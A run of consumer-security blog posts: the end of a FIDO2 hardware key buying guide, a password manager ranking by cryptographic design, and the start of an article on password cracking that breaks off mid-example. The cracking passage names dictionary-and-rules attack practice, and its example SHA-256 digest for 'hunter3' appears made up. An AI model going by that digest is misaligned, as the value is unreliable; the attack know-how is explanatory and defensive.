with a Common Criteria EAL6+ certified secure element, and manufactured in Germany. **Strengths.** This is the pick when "verifiable" beats "trusted." Independent reviewers can read the firmware and confirm there is no backdoor: a property no closed key can offer. The EAL6+ secure element and German manufacturing appeal to buyers with supply-chain or jurisdiction concerns. There is also a cheaper, FIDO-focused Nitrokey Passkey model (€32, ~$35) in a USB-A mini format that stores around 100 passkeys (confusingly *more* discoverable-credential capacity than the flagship 3C NFC), if you don't need PGP/PIV/OTP. **Real weaknesses.** At €65 (~$59) it is pricier than budget FIDO-only keys, and stock is intermittent: it has shown as "Not Available For Sale" on Nitrokey's own shop. The ecosystem and mindshare are smaller than Yubico's, so edge-case service compatibility and tooling can lag. The big one: resident-credential (passkey) capacity is small, only about 35 on the 3C NFC. Firmware v1.8.2 replaced the fixed cap with dynamic allocation, so the exact number depends on what else you store, but this is the wrong key for living on passkeys. **Price.** €65 / ~$59 (3C NFC); Nitrokey Passkey €32 / ~$35. **Who it's for.** Open-source advocates and anyone whose threat model demands auditable hardware. See [Nitrokey](/ref/nitrokey). ## 9. Thetis PRO-C: Budget FIDO2 with NFC **Protocols.** FIDO2/WebAuthn (FIDO2 L1 certified), U2F, and on-device TOTP/HOTP (50 OATH slots). USB-C and NFC. Stores up to **200 passkeys**. **Strengths.** At about $30 it undercuts the majors while still delivering NFC, a high passkey count, on-device one-time-password storage, and a durable rotating metal cover. For a second/backup key on a budget, it is hard to argue with the value. **Real weaknesses.** Closed firmware and a shorter, thinner track record than Yubico, Google, or Nitrokey. The brand carries less mindshare, so you are leaning on FIDO certification rather than a long reputation. Build and finish are good but not YubiKey-grade. **Price.** ~$29.99. **Who it's for.** Budget buyers who want full FIDO2 with NFC, or anyone needing an inexpensive backup key. See [Thetis](/ref/thetis). Always buy **two** keys and register both on every account. Treat the second key as a backup: enroll it at the same time, then store it somewhere physically separate: a safe, a drawer at a relative's house, a desk at the office. The marginal $30-58 is trivial compared with the cost of being locked out of your email, bank, or password manager. ## How to Choose Work down these criteria in order of what matters to *your* setup: - **Connectors (the real decision).** Match the key to your devices. USB-C for modern laptops and phones, USB-A for older machines, NFC for tap-to-phone, Lightning only if you still run a Lightning iPhone. NFC is the most future-proof phone option. A mismatched connector is the most common reason a key gathers dust. - **Protocol breadth.** If all you need is phishing-resistant login, any FIDO2 key works and a budget pick is fine. If you also want PIV smart-card login, SSH, or OpenPGP/PGP signing, you are in YubiKey 5, Token2 PIN+, or Nitrokey territory. - **Passkey storage.** If you intend to go passwordless across dozens of services, count the slots: ~35 (Nitrokey 3C NFC), ~100 (YubiKey 5.7, Nitrokey Passkey), 200 (Thetis), 250+ (Titan), ~300 (Token2). The open-source Nitrokey 3C NFC is the weakest here, so skip it if passkey count matters. For pure second-factor use, storage barely matters because non-discoverable credentials are effectively unlimited. - **Biometric vs. PIN.** A fingerprint (YubiKey Bio) is convenient but costs more and is FIDO-only. A PIN is free, universal, and works on every key here. - **Open-source vs. certified.** Want to verify the firmware? Nitrokey or Token2. Prefer certifications and the longest track record? YubiKey or Titan. - **Budget across two keys.** Remember you are buying a pair. Two Titans ($60-70) or two Thetis (~$60) versus two YubiKey 5C NFC (~$116) is a real difference. ## How to Set Up and Register a Backup The single most important habit is enrolling a backup at the same time as your primary. Do it in this order: 1. **Buy two keys** before you start (ideally matching the ports you use). 2. **Pick a high-value account first**, your email or password manager, since those gate everything else. In its security settings, find "Security keys" or "Passkeys." 3. **Register the primary key.** Insert or tap it, set a PIN when prompted, and confirm. The PIN protects against someone using a stolen key. 4. **Register the backup key immediately**, in the same settings screen, before you leave. This is the step people skip, and regret. 5. **Set a PIN you can remember** but that isn't trivial. Too many wrong PIN attempts can lock the FIDO2 application and force a reset that wipes its credentials. 6. **Store the backup separately.** Different room, different building, or a safe. A backup sitting next to the primary is not a backup. 7. **Keep a fallback factor where required.** Some services still want recovery codes; print them and store them offline. The goal is no single point of failure: not adding a weak SMS path back in. 8. **Repeat for every account that supports keys**, prioritizing email, password manager, financial, and cloud/work identity providers. If you want the broader context on layering factors and which accounts to prioritize, see [how to set up 2FA properly](/two-factor-authentication-guide). Setting a PIN and then forgetting it, or fat-fingering it past the retry limit, can lock or reset the FIDO2 application on the key, destroying the passkeys stored on it. Your registered backup key is what saves you. This is, again, why one key is never enough. ## FAQ **What is the best hardware security key in 2026?** For most people the YubiKey 5C NFC (~$58): USB-C plus NFC, every major protocol, and the broadest compatibility. On a budget, the Google Titan ($30-$35) and Thetis PRO-C (~$30) deliver the same FIDO2 phishing resistance for far less. Always buy two. **What is the difference between FIDO2, WebAuthn, and U2F?** U2F is the original second-factor standard. FIDO2 is its successor, made of WebAuthn (the web API) and CTAP (browser-to-key protocol), and adds passwordless and passkey support. FIDO2 keys remain backward-compatible with U2F sites. **What is a passkey and can a hardware key store one?** A passkey is a FIDO2 discoverable credential stored on the key, letting you log in with no username or password. Capacity is finite and varies a lot: only ~35 on the Nitrokey 3C NFC, up to 100 on YubiKey 5.7+, 200 on Thetis, 250+ on Google Titan, and ~300 on Token2 PIN+. Full slots mean deleting an old passkey to add a new one. Non-discoverable (classic second-factor) credentials are effectively unlimited. **Why are hardware keys phishing-resistant when authenticator apps are not?** FIDO2 credentials are bound to the site's exact origin; the key only signs for a matching domain, so a lookalike site gets nothing usable and there is no code to paste. A TOTP app just shows a code a fake site can ask you to type and then replay. **Do I really need to buy two security keys?** Yes. A key can be lost, stolen, or broken. If it is the only factor on an account, losing it can mean permanent lockout. Register at least two keys on every important account and store the backup separately. **Are cheap security keys as secure as a YubiKey?** For core FIDO2/WebAuthn login, a $30 Titan or Thetis is cryptographically just as strong. The premium buys protocol breadth (PIV, OpenPGP, OATH), firmware maturity, certifications, build quality, and track record. **Should I get an open-source security key?** If verifiable firmware matters, yes, Nitrokey and Token2 publish their code. Closed designs (YubiKey, Titan, Thetis) rely on certifications and reputation. Both can be secure; open source lets you check rather than trust. **Can I use one security key on my phone?** Yes, via NFC, USB-C, or (on older iPhones) Lightning. NFC is the most convenient for phones. The YubiKey 5C NFC, 5 NFC, Google Titan, Nitrokey 3C NFC, and Thetis PRO-C all support NFC; the 5Ci is the Lightning-plus-USB-C option. ## Related guides - [FIDO2 vs WebAuthn vs Passkeys](/fido2-vs-webauthn-vs-passkeys) - [What Is Phishing and How to Stop It](/what-is-phishing) - [The Social Engineering Playbook](/social-engineering-playbook) - [Best Password Managers](/best-password-managers) - [AI-Powered Phishing Attacks](/ai-phishing-attacks) ### Sources - YubiKey 5 Series: store and pricing (Yubico): https://www.yubico.com/store/yubikey-5-series/ - YubiKey 5C NFC product page (Yubico): https://www.yubico.com/product/yubikey-5-series/yubikey-5c-nfc/ - YubiKey Bio Series: FIDO Edition (Yubico): https://www.yubico.com/products/yubikey-bio-series/ - Titan Security Key: FIDO2 USB-A/USB-C + NFC (Google Store): https://store.google.com/product/titan_security_key?hl=en-US - A new Titan Security Key is available in the Google Store (Google): https://blog.google/innovation-and-ai/technology/safety-security/titan-security-key-google-store/ - Token2 FIDO2 and U2F security keys (Token2): https://www.token2.com/shop/category/u2f-and-fido2-keys - Nitrokey 3C NFC (Nitrokey): https://shop.nitrokey.com/shop/nk3cn-nitrokey-3c-nfc-148 - Thetis PRO-C FIDO2 Security Key (Thetis): https://thetis.io/products/fido2-usb-c-nfc-totp-hotp-passkey - What is FIDO2?: Specifications overview (FIDO Alliance): https://fidoalliance.org/fido2/ - How FIDO Works: phishing-resistant authentication (FIDO Alliance): https://fidoalliance.org/how-fido-works/ --- ## Best Password Managers in 2026: Ranked by Security > We ranked Bitwarden, 1Password, Proton Pass, NordPass and more by cryptographic design, audits, and KDF strength. - URL: https://blog.pwnsy.com/best-password-managers - Date: 2026-06-18 - Updated: 2026-06-19 - Difficulty: beginner - Category: passwords - Tags: passwords, password-manager, encryption, account-security, buying-guide - Related: [Best Cybersecurity Certifications & Courses in 2026](https://blog.pwnsy.com/best-cybersecurity-certifications), [Bitwarden Review in 2026: Is It Still the Default Pick?](https://blog.pwnsy.com/bitwarden-review), [Proton Review in 2026: Mail, VPN, Pass and Drive Tested](https://blog.pwnsy.com/proton-review) ### TL;DR - Best overall: Bitwarden, open-source, independently audited, Argon2id available, and the only fully transparent vault you can also self-host. - Best free: Proton Pass, unlimited logins, devices, and passkeys on the free tier with open-source audited clients. - Best for full local control: KeePassXC, offline, free, open-source; no cloud, no vendor, no subscription. - Security is the ranking criterion here, not autofill polish. Zero-knowledge architecture, published audits, and KDF strength matter more than the UI. - Skip browser built-in managers and avoid LastPass; the 2022 breach plus weak legacy KDF settings is a lesson, not a recommendation. ### Key Takeaways - Zero-knowledge architecture means your vault is encrypted locally with a key derived from your master password: a server breach yields ciphertext, not passwords, provided your master password is strong. - Open-source, independently audited clients (Bitwarden, Proton Pass, KeePassXC) let third parties verify the crypto rather than trusting a marketing claim. - KDF strength is decisive: Bitwarden defaults to PBKDF2 600,000 iterations and offers Argon2id; the LastPass 2022 breach was worsened by legacy vaults stuck at 5,000 iterations. - Every manager here now supports passkeys for storing and using FIDO2 credentials, but support quality and free-tier gating vary widely. - 1Password's Secret Key adds a second locally-stored factor so a server breach is useless without it, but the apps are not open source. - A weak master password defeats every manager on this list; use a 5+ word diceware passphrase and nothing less. ### FAQ **Q: What is the most secure password manager in 2026?** For most people the most defensible choice is Bitwarden: it is open-source, has been independently audited by Cure53, defaults to PBKDF2 with 600,000 iterations, offers Argon2id, and can be self-hosted. 1Password is comparably strong cryptographically and adds a locally-stored Secret Key, but its apps are not open source. For maximum control with no cloud at all, KeePassXC keeps an offline encrypted database entirely under your control. **Q: Is a free password manager safe to use?** Yes, if it uses zero-knowledge encryption and has been audited. Bitwarden's free tier and Proton Pass's free tier are both genuinely secure: the paid tiers mostly add convenience, sharing, and monitoring rather than stronger encryption. KeePassXC is free, open-source, and offline. Avoid free managers that are ad-supported or whose encryption design is undocumented. **Q: Should I still avoid LastPass after the 2022 breach?** We do not recommend LastPass. In 2022 attackers exfiltrated encrypted customer vaults after compromising a developer's home machine. Vaults belonging to users with weak master passwords or legacy low-iteration KDF settings (as low as 5,000 PBKDF2 iterations) were realistically crackable offline. The incident showed both an operational failure and the consequence of weak defaults. Better-designed, audited alternatives exist. **Q: Do password managers support passkeys yet?** Yes. As of 2026 every manager in this guide can store and autofill passkeys (FIDO2/WebAuthn credentials). Proton Pass offers unlimited passkeys even on its free tier. The benefit of storing passkeys in your manager is cross-device sync; the tradeoff is that the manager becomes the thing protecting them, so master-password strength and 2FA on the account still matter. **Q: What is zero-knowledge architecture and why does it matter?** Zero-knowledge means your vault is encrypted and decrypted only on your device using a key derived from your master password, which the provider never receives. The provider stores only ciphertext. If their servers are breached, the attacker gets encrypted blobs that are useless without your master password. It is the single most important security property of a cloud password manager. **Q: What are KDF iterations and why do they matter?** A key derivation function (KDF) turns your master password into the encryption key by hashing it many times deliberately slowly. Higher iteration counts make offline brute-force attacks against a stolen vault dramatically slower. OWASP recommends 600,000 PBKDF2-SHA256 iterations, which Bitwarden uses by default. Argon2id is a memory-hard alternative that is more resistant to GPU and ASIC cracking. **Q: Is it safe to keep all my passwords in one place?** Counterintuitively, yes: it is far safer than the alternative of reusing passwords. A good manager lets you use a unique random password for every site, which neutralizes credential stuffing. The single-point-of-failure concern is addressed by zero-knowledge encryption, a strong master password, and turning on two-factor authentication for the vault itself. **Q: Should I use my browser's built-in password manager instead?** For most threat models, no. Browser-built-in managers tie vault encryption to your OS user account, so any malware running as your user can often read the saved credentials. Dedicated managers provide stronger key isolation, a separate master password, cross-browser support, audited crypto, and proper sharing and breach-monitoring features. Most "best password manager" lists rank on autofill polish and onboarding flow. That is the wrong metric. A password manager is the single highest-value target an attacker can reach inside your digital life, so the only ranking that matters is how it behaves when something goes wrong, when the vendor's servers are breached, when your laptop is stolen, when your master password ends up in a cracking queue. This guide ranks on cryptographic design, published independent audits, key-derivation strength, and architectural transparency. Features come second. If you are still deciding whether you need one of these at all, read [why a password manager matters](/password-managers-guide) first: this is a buying guide, not an explainer. And before you trust any of these to hold your second factor, make sure you also [set up 2FA properly](/two-factor-authentication-guide). ## The Verdict - **Best overall: [Bitwarden](/ref/bitwarden).** Open-source clients and server, independent Cure53 audits, a 600,000-iteration PBKDF2 default with Argon2id available, a real free tier, and the option to self-host. Nothing else combines transparency and capability this well. - **Best free: [Proton Pass](/ref/proton-pass).** Unlimited logins, unlimited devices, and unlimited passkeys on the free tier, with open-source audited clients and built-in email aliasing. - **Best for families: [1Password](/ref/1password).** The Secret Key model, mature sharing, Travel Mode, and a security record with no reported breach of customer vaults to date make it the easiest household recommendation, if you can accept closed-source apps and no free tier. - **Best for full local control: [KeePassXC](https://keepassxc.org/).** Free, open-source, fully offline. No cloud, no vendor, no subscription. You own the encrypted file and the backup strategy. ## At a Glance | Manager | Price (from) | Free tier? | Open source / audited | Passkeys | Best for | | --- | --- | --- | --- | --- | --- | | [Bitwarden](/ref/bitwarden) | Premium ~$19.80/yr | Yes (generous) | Yes / Yes (Cure53) | Yes | Most people; transparency | | [1Password](/ref/1password) | Individual ~$47.88/yr | No (14-day trial) | No / Yes (ISE, SOC 2) | Yes | Families; Secret Key model | | [Proton Pass](/ref/proton-pass) | Plus $1.99/mo (2-yr) | Yes (best free) | Yes / Yes | Yes (unlimited, free) | Free + privacy ecosystem | | [NordPass](/ref/nordpass) | Premium ~$1.49/mo* | Yes (limited) | No / Yes (Cure53 2024) | Yes | Modern crypto on a budget | | [Dashlane](/ref/dashlane) | Premium $4.99/mo ($59.88/yr) | No (dropped 2025) | No / Yes | Yes | Monitoring + bundled VPN | | [Keeper](/ref/keeper) | Personal $42.99/yr | Yes (very limited) | No / Yes (SOC 2, FedRAMP) | Yes | Compliance / enterprise | | [KeePassXC](https://keepassxc.org/) | Free | Yes (fully free) | Yes / Yes (ANSSI CSPN) | Yes (browser) | Full local control | | [RoboForm](/ref/roboform) | Premium $2.49/mo (1-yr)* | Yes (limited) | No / Yes (Secfault) | Yes | Heavy web-form users | \* NordPass's headline rate requires a 2-year prepayment and renews higher; RoboForm's $2.49/mo is its standard annual rate (1-year term) and renews around $29.88/year. Verify the renewal price before buying. Every product below is only as secure as your master password. A 5-character master password makes a 600,000-iteration KDF irrelevant. Use a 5+ word diceware passphrase. If you want to understand exactly why short passwords fall, read [how passwords get cracked](/password-cracking-techniques). ## 1. Bitwarden: Best Overall **Design.** Bitwarden encrypts your vault locally with a key derived from your master password and stores only ciphertext on its servers, textbook zero-knowledge. New accounts default to PBKDF2-SHA256 at 600,000 iterations, matching the current OWASP recommendation, and you can switch to Argon2id, a memory-hard KDF that is far more resistant to GPU and ASIC cracking. Both the clients and the server are open source, and the code has been independently assessed by Cure53. **Strengths.** Transparency is the headline: you (or anyone) can audit the code, and you can self-host the server if you do not want to trust Bitwarden's infrastructure at all. The free tier is genuinely useful, unlimited passwords across unlimited devices, plus passkey storage. Premium (around $19.80/year after a January 2026 increase) adds integrated TOTP, vault health reports, and emergency access. **Real weaknesses.** The price went up in early 2026, narrowing its cost advantage. The interface is functional rather than delightful, and self-hosting (while a genuine differentiator), is something most users will never touch and shouldn't attempt without understanding backups and update hygiene. **Pricing.** Free; Premium ~$19.80/year; Families ~$47.88/year for up to 6. **Who it's for.** Almost everyone. If you have no strong reason to choose otherwise, start with [Bitwarden](/ref/bitwarden). Our [full Bitwarden review](/bitwarden-review) covers the KDF gap that took three years to close, the April 2026 CLI supply-chain incident and the January 2026 price rise in detail. ## 2. 1Password: Best for Families and the Secret Key Model **Design.** 1Password's distinguishing feature is the Secret Key: a 34-character value generated and stored only on your devices that is combined with your master password to derive the encryption key. The practical consequence is that a server-side breach is useless to an attacker who does not also have your Secret Key: they cannot mount an offline attack with the master password alone. 1Password is SOC 2 Type 2 certified and has commissioned external assessments (including a penetration test and code review by Independent Security Evaluators). As of June 2026, no breach of customer vaults has been publicly reported: the closest call was the September 2023 incident in which an attacker reached an employee-facing system through the wider Okta support-system compromise, but 1Password concluded no user vault data was accessed. **Strengths.** The Secret Key meaningfully raises the bar against server-breach scenarios. Sharing, Travel Mode (which can hide vaults when crossing borders), and Watchtower breach monitoring are mature. Family setup and recovery are the smoothest in this list. **Real weaknesses.** The apps are not open source, so you are trusting audits and reputation rather than verifiable code. There is no free tier, only a 14-day trial, and prices rose at the end of March 2026, Individual is now around $47.88/year and Families around $71.88/year for up to 5. **Pricing.** Individual ~$47.88/year; Families ~$71.88/year (up to 5). **Who it's for.** Households and people who value the Secret Key's extra factor and are comfortable with closed-source apps. Start a trial of [1Password](/ref/1password). ## 3. Proton Pass: Best Free **Design.** Proton Pass comes from Proton, the Swiss privacy company behind Proton Mail. It uses zero-knowledge encryption with open-source clients that have been independently audited. As of early 2026, every user (free or paid) gets unlimited passkey creation, sync, and autofill. **Strengths.** The free tier is the most generous in the category: unlimited logins, unlimited devices, unlimited passkeys, unlimited 2FA codes, and a handful of SimpleLogin email aliases. Open-source, audited clients plus Swiss jurisdiction make it a strong privacy pick. Pass Plus (now $1.99/month on a 2-year term, or $2.99/month month-to-month after Proton cut the price from $4.99 in March 2026) adds Proton Sentinel, unlimited aliases, integrated 2FA, and more. **Real weaknesses.** Proton Pass is the youngest mainstream product here, so its long-term track record is shorter than Bitwarden's or 1Password's. The deepest value comes if you live inside the Proton ecosystem; as a standalone tool it is excellent but less differentiated. Some advanced sharing and admin features lag the incumbents. **Pricing.** Free; Pass Plus $1.99/month on a 2-year term (~$2.99/month month-to-month); Pass Family $6.99/month for up to 6; also bundled in Proton Unlimited. Check the renewal rate, which can be higher than the multi-year promo. **Who it's for.** Anyone who wants a serious free manager, or who is already invested in Proton's privacy tools. Try [Proton Pass](/ref/proton-pass), and see our [full Proton review](/proton-review) if you are weighing the bundle. ## 4. NordPass: Modern Crypto on a Budget **Design.** NordPass, from Nord Security (the NordVPN parent), uses XChaCha20 for vault encryption rather than AES-256. XChaCha20 is considered equivalently strong and is faster on devices without AES hardware acceleration, with a construction more forgiving of nonce-handling mistakes. It is zero-knowledge and was independently audited by Cure53 in 2024. **Strengths.** Competitive multi-year pricing, native passkey support, email masking, and a family plan that covers up to six users without per-seat penalties. The Cure53 audit and modern cipher choice are points in its favor. **Real weaknesses.** The clients are not open source. The headline price (around $1.49/month) requires a two-year prepayment, and renewal pricing is typically higher than the promotional first term, read the renewal terms before committing. The free tier limits you to one active device at a time. **Pricing.** Free (1 active device); Premium ~$1.49/month on a 2-year term (~$1.99/month on 1 year); Family ~$2.79/month on a 2-year term for up to 6 (~$3.69/month on 1 year). Renewal rates are higher than the promotional first term. **Who it's for.** Budget-conscious users who want a modern, audited product and don't require open source. See [NordPass](/ref/nordpass). For any subscription manager, check the renewal price, not just the first-year promo. NordPass's cheapest rates require a 2-year prepayment, and both NordPass and RoboForm renew above their introductory rates. A manager you'll keep for a decade should be judged on its steady-state cost. ## 5. Dashlane: Monitoring and a Bundled VPN **Design.** Dashlane is a zero-knowledge, closed-source manager with AES-256 encryption. It has been independently audited and pairs solid autofill with consumer-friendly extras. **Strengths.** Dark-web monitoring, a bundled VPN, AI-assisted scam detection, and one of the more polished autofill experiences. The Friends & Family plan covers up to 10 members. **Real weaknesses.** Dashlane discontinued its free plan on September 16, 2025, so there is no free option anymore, only a trial and money-back guarantee. It is closed source and among the more expensive choices. On the Friends & Family plan, only the plan manager gets VPN access, which dilutes one of the headline perks for everyone else. **Pricing.** Premium ~$4.99/month (billed annually, ~$59.88/year); Friends & Family ~$7.49/month for up to 10. **Who it's for.** Users who specifically want integrated breach monitoring and a VPN in one subscription and don't mind paying for it. Look at [Dashlane](/ref/dashlane). ## 6. Keeper: Compliance and Enterprise Pedigree **Design.** Keeper uses AES-256 with a zero-knowledge (and zero-trust) architecture: encryption and decryption happen locally, and Keeper staff cannot read your vault. Its differentiator is certification breadth, SOC 2 Type II, ISO 27001, FedRAMP Authorized for government use, and HIPAA support. **Strengths.** The certification stack makes Keeper an easy pick for regulated industries and organizations that must satisfy auditors. It supports unlimited passwords and passkeys on paid plans, has strong admin controls, and publishes third-party assessments. **Real weaknesses.** The clients are closed source. Keeper's pricing model splits some useful capabilities into paid add-ons: most notably BreachWatch dark-web monitoring (around $26.99/year), which most rivals bundle into their base plan, so the real cost can exceed the headline. (Keeper's encrypted messenger, KeeperChat, is actually free.) The free tier is very limited, effectively one mobile device and a handful of records. **Pricing.** Personal (Keeper Unlimited) $42.99/year; Family $91.99/year for up to 5; BreachWatch and extra storage are paid add-ons. **Who it's for.** Compliance-driven buyers and organizations that need the certifications. See [Keeper](/ref/keeper). ## 7. KeePassXC: Best for Full Local Control **Design.** KeePassXC is a free, open-source, community-driven manager that stores your credentials in a local, encrypted KDBX database. There is no cloud and no vendor account by default: the encrypted file lives wherever you put it, and you control any sync. It has been the subject of an independent security review and a previous version earned ANSSI's CSPN first-level security certification in France. **Strengths.** Maximum control and maximum transparency. No subscription, no telemetry, no vendor that can be breached on your behalf. Recent releases support passkeys through the browser integration. For threat models where "no third party should ever hold my vault" is a hard requirement, nothing else qualifies. **Real weaknesses.** You are the cloud. Sync across devices, secure backups, and mobile access are your responsibility, and getting them wrong can mean either data loss or accidental exposure. The experience is less seamless than commercial products, and family sharing is a manual affair. This is a power-user tool. **Pricing.** Free, forever, open source. **Who it's for.** Technically confident users who want their vault entirely under their own control. Download it from the official site: [KeePassXC](https://keepassxc.org/). ## 8. RoboForm: Heavy Web-Form Users on a Budget **Design.** RoboForm is a long-running, closed-source manager using AES-256 with zero-knowledge encryption. Its security has been audited by Secfault Security, and it supports passkeys plus multiple 2FA methods including hardware keys. **Strengths.** Best-in-class web form filling (its original specialty), genuinely low pricing, passkey support, and a family plan covering up to five accounts. If you fill complex forms constantly, RoboForm still does it better than most. **Real weaknesses.** Closed source and a dated interface. The $2.49/month headline is RoboForm's standard rate on a one-year term (no multi-year prepayment required, unlike NordPass), but it renews higher (around $29.88/year) so weigh the steady-state cost. It carries less mindshare and a smaller audit trail than the top-tier options. **Pricing.** Free (single device); Premium $2.49/month at the standard one-year annual rate (renews ~$29.88/year); Family $3.98/month for up to 5. First-year promotional discounts are common, check the renewal price. **Who it's for.** Budget users who prioritize form filling. See [RoboForm](/ref/roboform). ## The LastPass Lesson: and Why It's Not on This List LastPass is deliberately excluded. In 2022, attackers compromised a developer's home computer (via a vulnerable third-party media server) and ultimately exfiltrated encrypted customer vaults from cloud backups. The encryption itself held, but two things made the fallout severe. First, some vaults belonged to users with weak master passwords. Second, older accounts were stuck on legacy KDF settings as low as 5,000 PBKDF2 iterations, two orders of magnitude below the modern 600,000 baseline, which made offline cracking far more feasible. Reports of downstream crypto thefts followed. The takeaway is not "password managers are unsafe." It is the opposite: the managers that survive scrutiny are the ones with sound defaults (high KDF counts or memory-hard Argon2id), transparency (open source and published audits), and operational discipline. That is exactly what this ranking rewards. Do not rely on your browser's built-in password manager as your primary vault. Most tie vault encryption to your logged-in OS account, so malware running as your user can frequently read the stored credentials directly. Dedicated managers use a separate master password and stronger key isolation. ## How to Choose Rank these criteria in the order that matches your threat model: - **Zero-knowledge architecture (non-negotiable).** The provider must never be able to read your vault. All paid options here qualify; verify it for anything not on this list. - **Open source and independent audits.** Open source lets the design be verified rather than asserted. Bitwarden, Proton Pass, and KeePassXC are open source; the closed-source options (1Password, NordPass, Dashlane, Keeper, RoboForm) compensate with published third-party audits and certifications. Treat "trust us" with no audit as a red flag. - **KDF strength.** Prefer a high PBKDF2 iteration count (600,000+) or, better, Argon2id. If a manager won't tell you its KDF settings, that itself is informative. - **Free vs. paid.** Bitwarden and Proton Pass offer free tiers strong enough for real use; KeePassXC is free outright. Paid tiers mostly buy convenience, sharing, and monitoring: not stronger encryption. - **Passkeys.** All eight support passkeys in 2026, but free-tier availability varies; Proton Pass is unlimited even when free. - **Recovery and family.** Plan for lockout before it happens: emergency access, a printed kit, or a secondary copy of your KeePass database. For households, 1Password and Bitwarden Families are the smoothest. - **Total cost over time.** Judge on renewal price across the years you'll actually keep it, not the first-year promo. Whatever you pick, turn on two-factor authentication for the vault itself, and prefer a hardware security key or authenticator app over SMS. Your password manager is the master key to everything else, protect it accordingly with a strong [2FA setup](/two-factor-authentication-guide). ## FAQ **What is the most secure password manager in 2026?** For most people, Bitwarden: open-source, Cure53-audited, 600,000-iteration PBKDF2 by default with Argon2id available, and self-hostable. 1Password is comparably strong and adds a locally-stored Secret Key, though its apps are closed source. KeePassXC is best when you want no cloud at all. **Is a free password manager safe to use?** Yes, if it is zero-knowledge and audited. Bitwarden and Proton Pass both offer secure free tiers; the paid tiers add convenience, not stronger crypto. KeePassXC is free, open-source, and offline. **Should I still avoid LastPass after the 2022 breach?** We do not recommend it. The breach exposed encrypted vaults, and weak master passwords plus legacy low-iteration KDF settings made some realistically crackable. Audited, well-defaulted alternatives exist. **Do password managers support passkeys yet?** Yes: all eight here store and autofill passkeys in 2026. Proton Pass offers unlimited passkeys even on its free tier. **What is zero-knowledge architecture and why does it matter?** Your vault is encrypted and decrypted only on your device with a key derived from your master password, which the provider never receives. A server breach yields ciphertext, not passwords. **What are KDF iterations and why do they matter?** A KDF slowly hashes your master password into the encryption key; more iterations make offline cracking of a stolen vault far slower. OWASP recommends 600,000 PBKDF2 iterations; Argon2id is a memory-hard alternative that resists GPU and ASIC attacks better. **Is it safe to keep all my passwords in one place?** Yes, and it is far safer than reusing passwords. Zero-knowledge encryption, a strong master password, and 2FA on the vault address the single-point-of-failure concern. **Should I use my browser's built-in password manager instead?** Generally no: they tie encryption to your OS account, so malware running as your user can often read them. Dedicated managers offer stronger isolation and audited crypto. ## Related guides - [Best Hardware Security Keys (FIDO2)](/best-hardware-security-keys) - [Best Secure & Encrypted Email Providers](/best-secure-email) - [Best Encrypted Cloud Storage](/best-encrypted-cloud-storage) - [What to Do After a Data Breach](/what-to-do-after-data-breach) - [Proton Review: Mail, VPN, Pass and Drive](/proton-review) ### Sources - Bitwarden Encryption Key Derivation (KDF Algorithms) (Bitwarden): https://bitwarden.com/help/kdf-algorithms/ - Bitwarden Password Manager Pricing & Plans (Bitwarden): https://bitwarden.com/pricing/ - Security audits of 1Password (1Password): https://support.1password.com/security-assessments/ - About the 1Password security model (1Password): https://support.1password.com/1password-security/ - Proton Pass: Pricing & Plans (Proton): https://proton.me/pass/pricing - NordPass Review 2026 (Security.org): https://www.security.org/password-manager/nordpass/ - Compare Dashlane personal plans (Dashlane): https://support.dashlane.com/hc/en-us/articles/360001166969-Compare-Dashlane-personal-plans - Keeper Review and Pricing in 2026 (Security.org): https://www.security.org/password-manager/keeper/ - KeePassXC Password Manager (KeePassXC): https://keepassxc.org/ - RoboForm Personal Plans and Pricing (RoboForm): https://www.roboform.com/pricing-personal --- ## How Passwords Get Cracked > A technical breakdown of password storage, cracking techniques, and the math behind why most passwords fail, plus what actually works for defense. - URL: https://blog.pwnsy.com/password-cracking-techniques - Date: 2026-03-11 - Updated: 2026-04-08 - Difficulty: intermediate - Category: passwords - Tags: passwords, cracking, hashing, authentication, hashcat, john-the-ripper, brute-force, credential-stuffing - Related: [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained), [Bitwarden Review in 2026: Is It Still the Default Pick?](https://blog.pwnsy.com/bitwarden-review), [FIDO2 vs WebAuthn vs Passkeys: What Each Name Means](https://blog.pwnsy.com/fido2-vs-webauthn-vs-passkeys) ### TL;DR - MD5 and SHA-1 are catastrophically fast for cracking: a single RTX 4090 can compute 68 billion MD5 hashes per second; use Argon2id or bcrypt (cost 12+) for password storage. - rockyou.txt combined with rule sets like best64 or dive recovers 60-70% of real-world password databases in hours on commodity hardware. - Salting defeats rainbow tables entirely, but does not slow down brute-force or dictionary attacks against fast hash algorithms. - NIST SP 800-63B recommends minimum 15-character passwords, breach-database checks via HIBP, and dropping mandatory complexity rules that produce predictable patterns. ### Key Takeaways - Password-hashing functions must be deliberately slow and memory-intensive (Argon2id, bcrypt, scrypt), fast hash functions like MD5 and SHA-256 are critical vulnerabilities when used for password storage. - Human-chosen passwords inhabit a tiny fraction of their theoretical entropy space, making rule-based dictionary attacks far more effective than pure brute force. - Salting eliminates rainbow table attacks but does not protect against dictionary or brute-force attacks against weak or fast-hashed passwords. - Credential stuffing (replaying known breach credentials), is the most operationally common account-takeover method and requires no cracking at all. - MFA, especially phishing-resistant FIDO2, is the highest-leverage defensive control; no password policy achieves equivalent protection. Most people have no idea their password was cracked 36 hours after the breach notification email was sent. The company's database hit a hacking forum, someone spun up a cloud GPU cluster, ran rockyou.txt with a good rule set, and recovered 60% of the hashes before breakfast. This is not a theoretical threat. It happened to LinkedIn in 2012, to Adobe in 2013, to RockYou in 2009. It is happening right now to databases that haven't been disclosed yet. Understanding how password cracking works (mechanically, mathematically, and operationally), is the only way to make informed decisions about password policies, hashing algorithms, and authentication architecture. Looking for the right hash cracker, wordlist, or auditing tool? Browse 3,700+ vetted OSINT & security tools at [tools.pwnsy.com](https://tools.pwnsy.com). ## How Passwords Are Actually Stored Modern applications store a hash of your password, not the plaintext. A cryptographic hash function takes arbitrary input and produces a fixed-length digest. The same input always produces the same output, but you cannot reverse the output to recover the input, at least, not by design. ``` SHA-256("hunter2") → f52fbd32b2b3b86ff88ef6c490628285f482af15ddcb29541f94bcf526a3f6c7 SHA-256("hunter2") → f52fbd32b2b3b86ff88ef6c490628285f482af15ddcb29541f94bcf526a3f6c7 SHA-256("hunter3") → 02c6e4f2e6f8e6d8e7c9a7f6b4e5d3c2a1b9f8e7d6c5b4a3928374651908172 ``` The problem with raw hashing is determinism. If two users share the same password, their hashes are identical. An attacker who sees a thousand identical hashes in a dump immediately knows a thousand users share that password, and cracking one reveals all of them. **Salting** defeats this by prepending or appending a unique random value to each password before hashing: ``` user_1: salt = "a3f8b2c1" → hash = 